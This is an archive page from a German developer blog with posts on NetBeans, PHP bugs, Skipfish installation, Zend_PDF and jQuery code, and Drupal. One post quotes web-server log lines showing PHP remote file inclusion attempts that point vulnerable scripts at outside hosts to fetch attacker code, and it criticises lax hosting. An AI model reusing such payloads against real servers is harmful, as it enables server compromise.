everflux » PHP

Oracle veröffentlicht Netbeans 6.9

everflux — Wed, 16 Jun 2010 09:44:17 +0000

Netbeans ist nun in der Version 6.9 von Oracle freigegeben worden. Die Entwicklungsumgebung für Java, PHP, JavaScript, Groovy, Scala, … wird von Oracle zusammen mit der OpenSource Community entwickelt. Das nun veröffentlichte Netbeans 6.9 enthält viele Neuerungen. Für PHP Entwickler besonders interessant ist die Unterstützung des Zend Framework in der aktuellen Version.

Ganz neu ist der Java FX Composer: Bei dem JavaFX Composer handelt es sich um ein Layout-Tool mit dem grafische Anwendungen, die auf JavaFX basieren, erstellen lassen. der JavaFX Composer ist damit vergleichbar mit dem Swing Layout Tool Matisse, mit dem Netbeans bereits in der Vergangenheit viele Fans gewinnen konnte.

Oracle moechte mit JavaFX eine RIA (Rich Internet Application) Platform etablieren, die sich mit Flash/Air (Adobe) und der Silverlight (Microsoft) Technologie konkurriert. Oracle möchte JavaFX auch fuer Enterprise Anwendungen etablieren, dabei sollen Data-Binding und eine umfangreiche Komponenten Bilbiothek helfen.

Ebenfalls für Java Enterprise Entwickler interessant ist der OSGi Support, der in Netbeans 6.9 erstmals Einzug hält. Damit können OSGi Bundles mit Netbeans erstellt und auch in Anwendungen integriert werden, die die Netbeans Platform als Framework nutzen. Dabei werden Equinox und Apache Felix als OSGi Container unterstützt.

Das Spring Framework wird nun in Version 3 unterstützt, und ein Entwickler kann dabei von Code-Completion als auch Applikationsvorlagen profitieren. Auch JSR 299 “Context and Dependency Injection” findet sich nun in Netbeans wieder.

Mein “Lieblingsfeature” ist die Möglichkeit per ctrl-alt-click auf eine Interface Methode direkt zu einer Implmentierung springen zu können. Das geht noch schneller als der in Eclipse übliche Weg über die quick-type-hierarchie – wer viel mit Interfaces (z.B. Spring) arbeitet, wird das Feature bald nicht mehr missen wollen.

Auch die Performance ist gut, und Kleinigkeiten wie CSS Refactoring und verbesserte Maven Unterstützung runden den insgesamt guten Eindruck ab.

Netbeans 6.9 gibt es auf http://www.netbeans.org/ kostenlos zum Download für alle Plattformen, lediglich Java muss installiert sein.

Artikel von: everflux.de

Oracle veröffentlicht Netbeans 6.9

Ähnliche Beiträge:

PHP: gd-png: fatal libpng error: Read Error: truncated data

everflux — Mon, 17 May 2010 17:53:12 +0000

Gerade zum Bloggen von Webseiten-Screenshots bietet sich diese Firefox Extension an: Screengrab. Bisher hat das auch alles prima geklabbt: Ubuntu, Firefox, WordPress Blog und Ubuntu Server.

Neuerdings gibts da jedoch ein Problemchen: Beim Hochladen der Bilder ins WordPress gibt es nur das “broken Image” Symbol, und auf dem Server wird ganz viel dieser Art geloggt:
gd-png: fatal libpng error: Read Error: truncated data gd-png error: setjmp returns error condition 2gd-png: fatal libpng error: Read Error: truncated data gd-png error: setjmp returns error condition 2gd-png: fatal libpng error: Read Error: truncated data gd-png error: setjmp returns error condition 2
Die defekten Zeilenvorschübe kommen dabei original so aus dem Logfile. Ich habe zwar nach der Fehlermeldung ein wenig gesucht, konnte jedoch lediglich einen Hinweis finden, dass es auf aktuelleren PHP Versionen (z.B. Ubuntu Lucid) evtl. zu Problemen mit der Kompressionsstufe 10 kommen kann.

Abhilfe konnte ich lediglich dadurch schaffen, dass ich mit dem Gimp das Bild in eine indexierte Farbtabelle statt des ursprünglichen RGB Formats konvertiert habe. Die Kompressionsstufe war vorher und danach auf “8″. Jedoch hat sich dabei noch die Angabe der Bildauflösung geändert, evtl. lag es auch daran. Hier zum Vergleich die Ausgabe von pnginfo:
Vorher:Image Width: 622 Image Length: 181 Bitdepth (Bits/Sample): 8 Channels (Samples/Pixel): 4 Pixel depth (Pixel Depth): 32 Colour Type (Photometric Interpretation): RGB with alpha channel Image filter: Single row per byte filter Interlacing: No interlacing Compression Scheme: Deflate method 8, 32k window Resolution: 0, 0 (unit unknown) FillOrder: msb-to-lsb Byte Order: Network (Big Endian) Number of text strings: 0 of 0
Nachher:Image Width: 622 Image Length: 181 Bitdepth (Bits/Sample): 8 Channels (Samples/Pixel): 1 Pixel depth (Pixel Depth): 8 Colour Type (Photometric Interpretation): PALETTED COLOUR (255 colours, 0 transparent) Image filter: Single row per byte filter Interlacing: No interlacing Compression Scheme: Deflate method 8, 32k window Resolution: 2835, 2835 (pixels per meter) FillOrder: msb-to-lsb Byte Order: Network (Big Endian) Number of text strings: 0 of 0
Wer also auch solche Probleme hat: Bild einmal mit einem anderen Programm speichern oder das Farbformat ändern. Dennoch wundert mich, dass vor dem Ubuntu Lucid Update (auf meinem Desktop und dem fuer das Blog zuständigen Server) genau der Ablauf “Screengrab und Hochladen” wunderbar funktionierte.)

Artikel von: everflux.de

PHP: gd-png: fatal libpng error: Read Error: truncated data

Ähnliche Beiträge:

Skipfish und Ubuntu

everflux — Sun, 21 Mar 2010 16:15:28 +0000

Google hat mit dem Skipfish Projekt ein Sicherheitstool veröffentlicht, mit dem Webanwendungen auf ihre Sicherheit – oder auch Sicherheitslücken untersucht werden können.

Das in C++ Programm unterstützt Windows, Apple Mac OS X und Ubuntu als Betriebssysteme und – wie für Google üblich – wird die besonderes hohe Performanz als Feature genannt. Im folgenden gehe ich kurz die Schritte durch, Skipfish unter Ubuntu Linux zu betreiben.Vorweg noch der Hinweis: Skipfish ist am besten für den Einsatz lokal oder im LAN geeignet, auch sollte kein Produktivsystem mit Skipfish untersucht werden, da eine sehr hohe Anzahl von Requests stattfinden. Natuerlich gilt insbesondere “Finger weg von fremden Systemen”, hier sind zivil- und strafrechtliche Konsequenzen zu erwarten.

Jetzt aber zur Installation:

sudo apt-get install libidn11-dev libssl-dev (fals noch nicht installiert)
Skipfish herunter laden von Google Code: http://code.google.com/p/skipfish/
Auspacken, im Verzeichnis “make” eingeben
Aus dem dictionaries Ordner ein Woerterbuch, z.B. “minimal.wl” nach “skipfish.wl” in den Hauptordner kopieren
Starten mittels skipfish

Weitere Informationen zu Skipfish und Bedienung finden sich auch in der Anleitung des Webapplikation-Security Scanners im Wiki: http://code.google.com/p/skipfish/wiki/SkipfishDoc

Der Report von skipfish ist in HTML und für meinen Geschmack etwas zu “kinder-it”, aber mit einer gut zu bedienenden dynamischen Oberfläche.

Artikel von: everflux.de

Skipfish und Ubuntu

Ähnliche Beiträge:

PDF Erstellung mit PHP und dem Zend Framework

everflux — Fri, 21 Aug 2009 10:25:28 +0000

Das Zend Framework bietet Komponenten für so ziemlich jede Aufgabe, die man als PHP Entwickler vorfinden kann. Doch einen Haken hat das Zend Framework – durch eine sehr individuelle Auslegung von “loose coupling” steht man vor der Herausforderung die verschiedenen Komponenten zu integrieren. Nachdem ich von einem Freund gebeten wurde, mal ein Beispiel zu liefern, wie Zend_PDF verwendet werden kann, um mittels PHP und dem Zend Framework PDF Dateien auszugeben, findet sich nun hier ein entsprechendes Beispiel.

Als Vorlage PDF Datei wurde dabei mittels OpenOffice ein PDF erstellt, um zu demonstrieren, wie sich mittels Zend_PDF auch Vorlagen verwenden lassen. Dafür wurde bisher oft FPDF bzw. PDFi als PHP Bibliotheken verwendet. All diese PDF Funktionalität für PHP wird nun mittels der Zend_PDF Komponente abgebildet.

Hier nun die PDF Vorlage, und das Ergebnis nachdem der Beispiel-Quellcode ausgeführt wurde.

Die Verzeichnisstruktur (Netbeans Screenshot) sieht so aus:

Und der Beispielquellcode:
public function pdfAction() { $logger = Zend_Registry::get('logger'); //if running as a module, find template there $moduleDir = $this->getFrontController()->getModuleDirectory($this->getRequest()->getModuleName()); $source = $moduleDir . DIRECTORY_SEPARATOR . "views" . DIRECTORY_SEPARATOR . "pdf" . DIRECTORY_SEPARATOR . "zend-pdf.pdf"; $pdf = Zend_Pdf::load($source); //now add some text $page = $pdf->pages[0]; //get first page $page->saveGS(); //save graphics context, always a good idea $page->setFont(Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA), 20); $page->drawText('Hello world:', 410, 580); $page->setFont(Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA_BOLD), 20); $page->drawText('Zend_PDF', 410, 550); $page->restoreGS(); //this is the pdf as binary $output = $pdf->render(); //send appropriate headers and the pdf - works with modern browsers. (Die, ie6!) $response = new Zend_Controller_Response_Http(); $response->setHeader('Content-Disposition', 'attachment; filename="zend-pdf-example.pdf"'); $response->setHeader('Content-type', 'application/pdf'); $response->setHeader('Content-length', strlen($output)); //especially useful for http-pipeling and keep-alive connections $response->setBody($output); $response->sendResponse(); //make sure no other output is happening //exit; would have done as well $this->_helper->viewRenderer->setNoRender(); $this->_helper->layout->disableLayout(); }

Artikel von: everflux.de

PDF Erstellung mit PHP und dem Zend Framework

Ähnliche Beiträge:

Netbeans: Copy support failed. Continue?

everflux — Fri, 07 Aug 2009 09:38:06 +0000

Netbeans ist eine herausragende IDE – herausragend durch einfache Bedienbarkeit, gleichzeitig gibt es eine Fülle von Features für den gestressten Entwickler. Und der Preis: Kostenlos! Ob für Java oder PHP Entwicklung, ich möchte Netbeans nicht mehr missen. Besonders für PHP – haben mir die kleinen Tipps und Hinweise doch schon einiges an Nerven gespart. Nicht zu vergessen die erstaunlich gut funktionierende Code-Completion. (Hätte ich bei PHP nie für möglich gehalten.)

Doch es gibt eine Sache, die mich unter Ubuntu in den absoluten Wahnsinn getrieben hat: Ich habe zwei Ubuntu Rechner, einen Server und meinen Arbeitsplatz. Auf dem Server läuft Apache und Mysql – auf meiner Arbeitsstation möchte ich keinen Apache laufen lassen, so dass ich alle Dateien auf den Server lade.

Das ist auch kein Problem, Netbeans hat vorgesorgt und kennt sich offenbar mit den typischen Setups aus. So kann man die PHP Sourcen mit einerm anderen Ordner synchronisieren. (Per NFS habe ich so den Server lokal eingebunden.) Sogar per FTP oder SFTP lassen sich die Sourcen publizieren, um z.B. direkt auf dem “echten” Webserver arbeiten zu können. Ein echter Segen!

Doch das lokale Synchronisieren schlägt bei mir regelmäßig fehl. Es kommt die Meldung “Copy support failed. Continue?”. Und egal was man dann klickt “yes” oder “no” – vom “copy support” oder Synchronisierung merkt man nicht mehr viel. Selbst, wenn die Fehlermeldung nicht erscheint, werden Dateien bei der Synchronisierung “vergessen”, oder nach einer Änderung lediglich gelöscht aber nicht neu einkopiert. Damit wird die Entwicklung mit Netbeans vom Traum zu einem echten Alptraum. (Manche mögen sagen, dies sei bei PHP der Normalfall, aber ich bin da unreligiös.)
Dies betrifft übrigens auch Windows Entwickler, die per SMB (Windows Netzwerk) ein ähnliches Setup verwenden, wie ich.

Doch es gibt Abhilfe! Denn Netbeans ist “nicht so ganz” Schuld an der Misere. Genau genommen ist es eine andere Komponente, die Versionsverwaltung. Diese macht etwas Magie und Hokuspokus und bringt damit einiges durcheinander – vor allem scheinbar wenn Netzwerkverbindungen zusätzliche Latenz einbringen. Konfiguriert man Netbeans so, dass es die Ordner bei der Versionsverwaltung ausschließt, sind die Probleme weg.

Dazu geht man in das Netbeans Installationsverzeichnis (bei mir ~/.netbeans/6.7/ ) und legt die Datei “config/Preferences/org/netbeans/modules/versioning.properties” an. Dort kann man die Pfade aufführen, die bei der Versionsverwaltung komplett ignoriert werden sollen. (Da dort ja sowieso die Sourcen nur hinkopiert werden, macht das in so fern auch Sinn.) In meinem Fall also einfach “/remote” eingetragen, Netbeans neu gestartet – und gut.

Artikel von: everflux.de

Netbeans: Copy support failed. Continue?

Ähnliche Beiträge:

Chromium Browser: Schneller Entwickeln!

everflux — Sat, 01 Aug 2009 11:27:37 +0000

Welche IDE man bevorzugt, darüber kann man sicherlich vortrefflich streiten. Genauso übrigens auch über Webbrowser. Doch eins ist klar: Bei der Entwicklung zählt jede gesparte Sekunde. Gerade in Webanwendungen wird man nicht um manuelles Testen und Ausprobieren herumkommen. Ich habe gemerkt, dass man mit dem Firefox (Firebug, Webdeveloper Toolbar, etc. pp) wunderbar Debugging betreiben kann. Das Tooling ist in meinen Augen ungeschlagen.

Doch geht es ums “herumklicken” und Ausprobieren ist meiner Erfahrung nach der chromium-browser ungeschlagen schnell. (Vermutlich auch weil er bei mir absolut ohne Addons, Plugins und Erweiterungen läuft.) Der Browser ist unter Ubuntu/Linux zwar noch sehr beta, doch immerhin gibt es für Ubuntu ein PPA, so dass die Installation der Chromium Beta 3 kein Problem darstellt.

Die Installation des chromium Browsers (Entwicklerversion) geht am einfachsten über das PPA mit den folgenden Befehlen:
echo "deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu `lsb_release -cs` main" > /tmp/chromium.list sudo mv /tmp/chromium.list /etc/apt/sources.list.d/ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 5A9BF3BB4E5E17B5 sudo apt-get update sudo apt-get install chromium-browser
Auch sehr praktisch: Man kann den Browser so starten, dass er alle während der Tests erzeugten Daten in ein temporäres Verzeichnis legt und so keine großen Altlasten bleiben. Eine beispielhafte Konfiguration in Netbeans 6.7 mit Chromium als Browser sieht so aus:

Netbeans weist den Chromium Browser hier an sein Profil unterhalb von /tmp anzulegen. So muss man zwar einmalig “nichts importieren” und “nicht als Default Browser” anklicken, dafür bleibt jedoch auch wenig übrig, wenn die Entwicklung fertig ist. Zum Debugging (Ajax, JavaScript etc. pp) kann man natürlich dann auf den Firefox oder Tests zurückgreifen.

Damit soll übrigens nicht gesagt sein, dass Firefox insgesamt schlecht oder langsam wäre. Sicherlich wird die nächste Version von Firefox auch nochmal deutlich schneller werden, und zum täglichen Gebrauch werde ich ganz sicher (so bald) nicht zu Chromium wechseln. Für diesen speziellen Zweck macht sich Chromium bei mir jedoch sehr bezahlt. (In so fern mein “Dankeschön” an Google für die Entwicklung des Google Chrome Browsers, ohne den es auch kein Chromium gäbe.)

Artikel von: everflux.de

Chromium Browser: Schneller Entwickeln!

Ähnliche Beiträge:

PHP FastCGI Path Bug (Ubuntu Hardy)

everflux — Mon, 04 May 2009 13:29:06 +0000

Ubuntu Hardy Heron ist derzeit das aktuelle LTS Release von Ubuntu, also ein gutes Argument Hardy für Server einzusetzen. Doch es gibt auch Gründe zu wechseln, wie mir sehr schmerzhaft vor Augen geführt wurde.

Zur Konstellation: PHP wird auf dem betreffenden Server mittels FastCGI Protokoll (fcgid) betrieben. Damit auch suexec zum Zuge kommt, wird der PHP Interpreter über ein kleines Wrapper-Script gestartet. Dies führt dazu, dass in der Umgebungsvariable SCRIPT_NAME nur der Wrapper steht – normalerweise. Dankenswerterweise wird das von PHP erkannt und irgendwie umgeschrieben, so dass hier der tatsächliche (erwartete) Wert steht. Ebenfalls sollte PATH_INFO nur noch den nach dem Script folgenden Anhang aufweisen, so dass man hier bei Bedarf Parameterübergabe (z.B. für “REST”) abwickeln kann.

Leider tut das mit PHP 5.2.4 (genauer: PHP 5.2.4-2ubuntu5.6 ) nicht wie erwartet. PATH_INFO ist leer, SCRIPT_NAME enthält bei bestimmten Bedingungen unsinnge Daten.Ich habe das anhand eines Scriptes, info.php, das nicht tut, als phpinfo() aufzurufen, einmal dokumentiert. Das Script wird so aufgerufen: “/info.php//” – zu erwarten ist nun, dass SCRIPT_NAME “info.php” enthält, PATH_INFO “//” und REQUEST_URI etc. ebenfalls sinnvolle Werte. (Aus REQUEST_URI und SCRIPT_NAME kann man sich die PATH_INFO auch einfach selber extrahieren – dazu sind jedoch korrekte Inhalte nötig.)

Hier der Vergleich zwischen Ubuntu Hardy und Ubuntu Intrepid, respektive PHP 5.2.6 (5.2.6-2ubuntu4.2)

Die Lösung also? “do-release-upgrade -d” von Hardy nach Intrepid. Ich denke nicht, dass dies Verhalten in Hardy gefixt wird. Oder werden darf – schließlich könnte es ja sein, dass einige Anwendungen sich genau auf diesen Fehler verlassen.

Artikel von: everflux.de

PHP FastCGI Path Bug (Ubuntu Hardy)

Ähnliche Beiträge:

PHP remote exploits

everflux — Tue, 27 Jan 2009 13:38:44 +0000

PHP remote exploits, wie z.B. der für phpraider sind offenbar ziemlich verbreitet – denn allein auf dies Blog prasseln haufenweise entsprechende HTTP Anfragen ein. Die Ursache dabei ist in meinen Augen viel weniger die Programmiersprache “PHP”, als der verantwortungslose Umgang mit “Scripten”, Webspace und dedizierten Servern.Bei einem Preise von deutlich unter 50 Euro im Monat werden – oft Linux basierte – Mietserver von vielen Hostern angeboten. Für die Kunden ist dabei oft garnicht erkennnbar, welche Verantwortung damit einhergeht. Wartung, Sicherheitsupdates? Oft werden Windows Desktop Computer besser gewartet, als diese Billigserver.

Besonders unerfahrene Anwender tendieren dazu, Adaware, TuneUpUltraRegistry, Antipetz-und-nospy, Virenscanner und am besten noch drei Firewalls zu installieren – beim Server ist da Fehlanzeige. Doch auch die Hoster tragen hier eine Mitverantwortung: Es wird dem Kunden suggeriert, dass mit dem Mietpreis “all incl.” ist – Traffik, Strom, Hardware. Entsprechende Maßnahmen um zumindest etwas Sicherheit herzustellen (“managed Server”) sind dann – aus gutem Grund – jedoch verboten teuer. Der Markt möchte billig.

Bei jedem Auto ist dem Fahrer per Gesetz eine Absicherung gegen das mit einem Kraftfahrzeug einhergehende Betriebsrisiko vorgeschrieben: Regelmäßige Kontrolle durch eine unabhängige Institution (TÜV), Haftpflichtversicherung gegen verursachte Schäden.

Was könnte helfen? Ein Tool wie “snort” könnte von den großen Providern eingesetzt werden, um auf bestimmte Muster zu achten. Von der technischen Machbarkeit abgesehen sind dabei immense Kosten zu erwarten. Doch nicht nur das Problem der gehackten (Home-) Server, auch ein Ende der Spamflut, deren Bekämpfung nicht unerhebliche Ressourcen verschlingt wäre in Sicht.
Vielleicht denkt der eine oder andere Hoster darüber mal nach – und verdient sich einen Wettbewerbsvorteil.

Wie schlimm es tatsächlich ist, zeigt ein kurzer Blick in die Anfragen auf dies Blog, die trotz Firewall noch angekommen sind. Ich habe hier lediglich nach Anfragen im Januar 2009 aus dem /16 1&1 Netz SCHLUND-PA-5 gesucht:

87.106.102.198 - - [13/Jan/2009:18:25:06 +0100] "GET /errors.php?error=http://http://webpower.jp/data/readme.txt?? HTTP/1.1" 403 212 "-" "libwww-perl/5.803" 0 everflux.de
87.106.104.102 - - [19/Jan/2009:23:21:38 +0100] "GET /errors.php?error=http://webpower.jp/data/readme.txt?? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de
87.106.104.102 - - [25/Jan/2009:17:10:03 +0100] "GET /errors.php?error=http://ilco.org//cache/ready?? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de
87.106.243.162 - - [11/Jan/2009:14:59:24 +0100] "GET /include/global.php?pfad=http://www.come.lv/forum/bodo.txt??? HTTP/1.1" 403 220 "-" "libwww-perl/5.805" 0 everflux.de
87.106.243.162 - - [11/Jan/2009:14:59:24 +0100] "GET /seo-phpbborg-bald-wieder-online-469/include/global.php?pfad=http://www.come.lv/forum/bodo.txt??? HTTP/1.1" 403 256 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:41 +0100] "GET //contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 238 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:41 +0100] "GET /startup-erfolg-social-brand-und-media-548//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 281 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:53 +0100] "GET /tag/startupcamp//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 255 "-" "libwww-perl/5.805" 0 everflux.de
87.106.250.102 - - [15/Jan/2009:11:05:39 +0100] "GET /eclipse-jsp-syntax-validation-probleme-721//errors.php?error=http://kocmo.org.ua//templates/Ilegalid.txt? HTTP/1.1" 403 256 "-" "libwww-perl/5.805" 0 everflux.de
87.106.250.102 - - [15/Jan/2009:11:05:39 +0100] "GET //errors.php?error=http://kocmo.org.ua//templates/Ilegalid.txt? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de

Ich bin dabei davon ausgegangen, dass die PHP remote exploits versuchen, eine URL per “=http….” einzuschleusen. Wer die Suche selber nachvollziehen möchte, kann z.B. folgenden Befehl verwenden:

zgrep 87.106 access.log* | grep "=http" | cut -d ":" -f 2- | grep "/2009:" |

Ich habe Eins-und-Eins über die Entdeckung informiert, und bin gespannt, wie hier reagiert wird.

Artikel von: everflux.de

PHP remote exploits

Ähnliche Beiträge:

Schulden sind ok.

everflux — Sun, 25 Jan 2009 19:49:40 +0000

Schulden sind manchmal ok. Auch wenn gerade Finanzkrise und Pleiten die Welt zeichnen, geht es mir jedoch nicht um das Thema Geld Schulden (da gibt es haufenweise Wege um schulden frei zu werden, oder unter Zuhilfenahme eines Schuldenberaters raus aus den Geld Schulden zu kommen), es geht um Software-Schulden.
Ähnlich wie bei Geld, dass man sich per Kredit leiht, gibt es auch bei der Softwareentwicklung Momente, in denen Schulden aufgenommen werden. Und auch hier werden Zinsen fällig.Im ideal Fall verläuft die Entwicklung einer Software so, dass es ein schönes Design gibt, um ein Produkt in eine Software-Gesamtarchitektur zu integrieren. Normalerweise gibt es hier noch keine Probleme – es sei denn, man befindet sich in einem Projekt, in dem der Auftraggeber “lieber anfangen als Papier produzieren” möchte. Hiervon sollte man im besten Interesse sowohl des Auftraggebers, als auch einem selber Abstand nehmen. (Es wird sich sicherlich Tochter/Sohn eines Bekannten, oder ein Student finden, der eher zu den Vorstellungen eines solchen Projektes passt.)

Doch wann entstehen die Schulden – und wie wird man sie wieder los? Erstmal gilt es die Wahrnehmung zu schaffen: Meist wird ein Feature als Erweiterung oder Änderung (changerequest) gewünscht, das entweder etwas generischer und flexibel umgesetzt werden kann, oder als “auf die schnelle” als Hack. Ist davon auszugehen, dass das Feature nicht weiterentwickelt oder als Grundlage für weitere Funktionalität genutzt wird, oder auf absehbare Zeit wieder ausgebaut wird, spricht gegen so einen Hack nichts.
“Requirements always change” – und der kurfristige Hack von heute ist ein fundamentales Feature von morgen. Wird hier erst spät agiert, sind bereits hohe Zinsen aufgelaufen. Der Auftraggeber versteht nicht, wieso die Erweiterungen für die Software immer teurer werden, und erst recht möchte er nicht investieren, um Geld für ein vorhandenes Feature (“tut doch”) auszugeben, bei dem sich für den Kunden garnichts ändert.

Refactoring oder re-engineering sind Wege mit so einer Altlast in Form von Software-Schulden umzugehen. Reagiert man zu spät, kommt der Zeitpunkt von dem man oft hört: “Rewrite from Scratch”, die Software wird von Grund auf neu gebaut. Extrem teuer, zeitaufwendig – Wettbewerbsvorteil für die Konkurrenz. (Auch populäre Seiten wie Slashdot haben gleiches bereits durchgemacht, siehe Slashcode)

Und wie bekommt man den Kunden dazu, mitzuziehen? Erstmal ist wichtig, dass man sich der Schulden bewußt ist. Dumping Angebote bei Ausschreibungen, nur um einen Auftrag zu bekommen sollte man für sich selber unbedingt vermeiden. Vernünftig kalkulierte Angebote, Transparenz und aktive Kommunikation mit dem Kunden sind hier entscheidend. Möchte der Kunde “Schulden” machen, dann ist das ok, wenn er diese Entscheidung auch informiert und bewußt trifft. Auf diese Weise gibt es die Basis für eine langfristige und produktive Zusammenarbeit, und wenig Verdruss.

Artikel von: everflux.de

Schulden sind ok.

Ähnliche Beiträge:

Spam: Sie haben Schulden? ohne-schulden24.de / endlich-ein-konto.de

Drupal: Content/Seiten intern verlinken

everflux — Mon, 19 Jan 2009 21:25:48 +0000

Drupal ist ein sehr modulares und anpassungsfähiges CMS. Im Grunde “lebt” Drupal von Erweiterungen und Modulen, denn der Drupal Core ist eher als Infrastruktur zu verstehen, und als web CMS noch nicht produktiv einsetzbar. Der Vorteil dieser Vorgehensweise bei Drupal ist ganz klar, dass man sich das eigene CMS wie mit einem Baukasten zusammenstellen kann. Mit den damit verbundenen Nachteilen: Es gilt sich zu informieren und einzuarbeiten.Die wichtigsten Dinge bei einem Web Content Management System, WCMS, sind in meinen Augen die folgenden Funktionen:

Neuen Inhalt erstellen (Text)
Bilder und Medien hinzufügen
Inhalte untereinander verlinken (Struktur, Navigation)

Bei anderen CMS Systemen als Drupal gab es in der Regel mehr oder minder komfortable Möglichkeiten, auf Inhalte zu verlinken. Drupal jedoch verfügt zum einen von Haus aus nicht über einen Wysiwyg Editor, noch gibt es eine einfache Möglichkeit, Inhalte zu verlinken. Doch hier wird dank der vielen Drupal Module abgeholfen, allein drei ausgereifte Wysiwyg Editoren stehen zur Auswahl.

Der FCKEditor hat dabei die Möglichkeit, das linktocontent Modul zu integrieren, um eine Auswahl von Nodes, Menüs oder Kategorien zur Auswahl zur stellen, um einen Link im Editor einzufügen.

Nach der Installation und Einrichtung sieht das dann so aus:

Zu beachten ist dabei, dass es eine inoffizielle Version des linktocontent Moduls gibt, dass für die Verwendung mit dem FCKEditor gepatcht ist – der Download findest sich hier: http://drupal.fckeditor.net/download/linktocontent-fckeditor-6.x-2.x-dev.zip

Wie die Entwicklung bei den beiden Drupal Modulen weiter geht, ist leider nicht abzusehen. Gerade für weniger technisch versierte Menschen (und reine Editoren) ist eine einfache interne Verlinkung von Drupal Inhalten wünschenswert bis essentiell.
Drupal enttäuscht hier bei einem ansonsten sehr soliden und guten Gesamteindruck – den Mailinglisten ist zu entnehmen, dass die Entwickler von Drupal sich der schlechten Useability beim Verlinken von Drupal Nodes bewusst sind, evtl. wird Drupal 7 eine grundlegend bessere Lösund anbieten, als der FCKEditor-Linktocontent-Hack.

Artikel von: everflux.de

Drupal: Content/Seiten intern verlinken

Ähnliche Beiträge:

Netbeans: Datei Extension umbenennen? Nein.

everflux — Mon, 29 Dec 2008 15:03:05 +0000

Frage: Wie kann ich in netbeans eine Datei mit Extension umbennen? (z.B. foo.inc nach foo.jsp)

Antwort: Wir verstehen dass dir das wichtig ist… derzeit bieten wir an, dass du Dateien ohne Änderung der Extension umbenennen kannst, oder die Datei außerhalb von Netbeans, z.B. über den Nautilus Explorer umbenennst.

Der zugehörige Netbeans Bug von 2002 ist Issue 27444. Besonders ärgerlich ist das, wenn es z.B. gilt viele Dateien umzubenennen, was bei *.php5 -> *.php ja mal vorkommt.
Und ich bin sicher nicht der einzige, der Netbeans so benutzen soll: http://forums.netbeans.org/topic6082.html

Artikel von: everflux.de

Netbeans: Datei Extension umbenennen? Nein.

Ähnliche Beiträge:

Netbeans 6.5 released

everflux — Wed, 19 Nov 2008 23:40:11 +0000

Die integrierte Entwicklungsumgebung Netbeans ist in Version 6.5 erschienen, einen kompletten Überblick über die Netbeans Features findet sich hier. Neben IntelliJ IDEA und Eclipse hat sich Netbeans zu einem sehr attraktiven, offenen und schnellen Produkt entwickelt, das nicht nur Java Entwicklern zu empfehlen ist.

Gerade die Unterstützung verschiedener Programmiersprachen, von JavaScript über PHP zu Python, Ruby und natürlich Java ist teilweise besser in Netbeans als in Eclipse gelöst. Zusätzliche Features lassen sich als Plugins nachinstallieren, und auch mit “der” (kommerziellen) IDE IntelliJ muss Netbeans den Vergleich keineswegs scheuen. In meinen Augen für Java Desktop Entwickler ist weiterhin der GUI Builder Matisse und als freies UML Tool zum Designen und Reverseengineering das UML Tool von Netbeans wirklich herausragend.

Artikel von: everflux.de

Netbeans 6.5 released

Ähnliche Beiträge:

Ajax File upload mit jQuery – ohne DWR

everflux — Sun, 16 Nov 2008 21:43:33 +0000

Ajax ist eine tolle Erfindung – bis auf ein paar “Kleinigkeiten”. Z.B. ist nicht vorgesehen einen Dateiupload mittels Ajax zu realisieren. Da muss schon ein echtes Formular her.

Doch wenn dennoch eine Datei im Hintergrund hochgeladen werden soll – also ein “echter” Ajax File upload realisiert werden soll – greift man in die kreative Trickkiste. Die üblichen Verdächtigen für solche Aufgaben sind DWR, jQuery, Dojo. DWR bringt in der Inkarnation 3.0 dann auch Support für Ajax Fileupload, inclusive einem Mapper. Also zurück zu den Basics – was tun, wenn ein XmlHttpRequest nicht da ist? Richtig! Unsichtbares iframe nehmen.Das ganze muss etwas getrickst werden, damit auch wirklich alles bei dem Ajax Dateiupload gut geht – auf das Timing kommts an. Am einfachsten ist das mit jQuery:

An den submit Event des per Ajax abzuschickenden Formulars hängen und dort folgendes ausführen:
Unsichtbares IFRAME erzeugen
An das IFRAME einen load-handler hängen: dieser wird aufgerufen wenn das Formular (iframe) abgeschickt ist – dieser räumt das iframe wieder auf und benachrichtigt handler
Das iframe als target von dem abzuschickenden Formular setzen

Das ganze im Quellcode mit jQuery und Ausgabe für die Firebug Firefox Konsole, um den Ajax Upload zu verfolgen:
console.log("jquery setup"); jQuery("#logoUploadForm").submit( function(data) { var submittingForm = jQuery( this ); var frameName = ("upload"+(new Date()).getTime()); var uploadFrame = jQuery("");

console.log(“submitting form”);

uploadFrame.css(“display”, “none”);
uploadFrame.load(function(data){
//submit is complete here
jQuery(‘#logoProgress’).text(‘Your file was uploaded successfully’).show().fadeOut(5000);
setTimeout(function(){
console.log(“removing temp frame”);
uploadFrame.remove();},100);
});
jQuery(“body:first”).append(uploadFrame);

//setup complete
submittingForm.attr(“target”, frameName);

});

Behandelt werden muss der Upload dann mit den “üblichen” Mitteln. PHP / Zend Framework, Java und Commons Fileupload / Spring Framework, oder was einem sonst in den Sinn kommt.

Artikel von: everflux.de

Ajax File upload mit jQuery – ohne DWR

Ähnliche Beiträge:

Netbeans 6.5 kommt: RC1

everflux — Thu, 23 Oct 2008 23:48:01 +0000

Netbeans 6.5 kommt – der RC1 wurde gestern veröffentlicht. Schon seit geraumer Zeit arbeite ich gerne mit den nightly builds, die einen stabilen Eindruck machen. Was bringt Netbeans neues, und was hat Netbeans 6.5 auch für nicht-Java Entwickler zu bieten?Ich sollte dazu sagen, dass ich ein bekennender Eclipse Fan bin – IntelliJ und VisualStudio, sofern man das in einem Atemzug erwähnen darf, haben mich beide nicht wirklich überzeugen können.

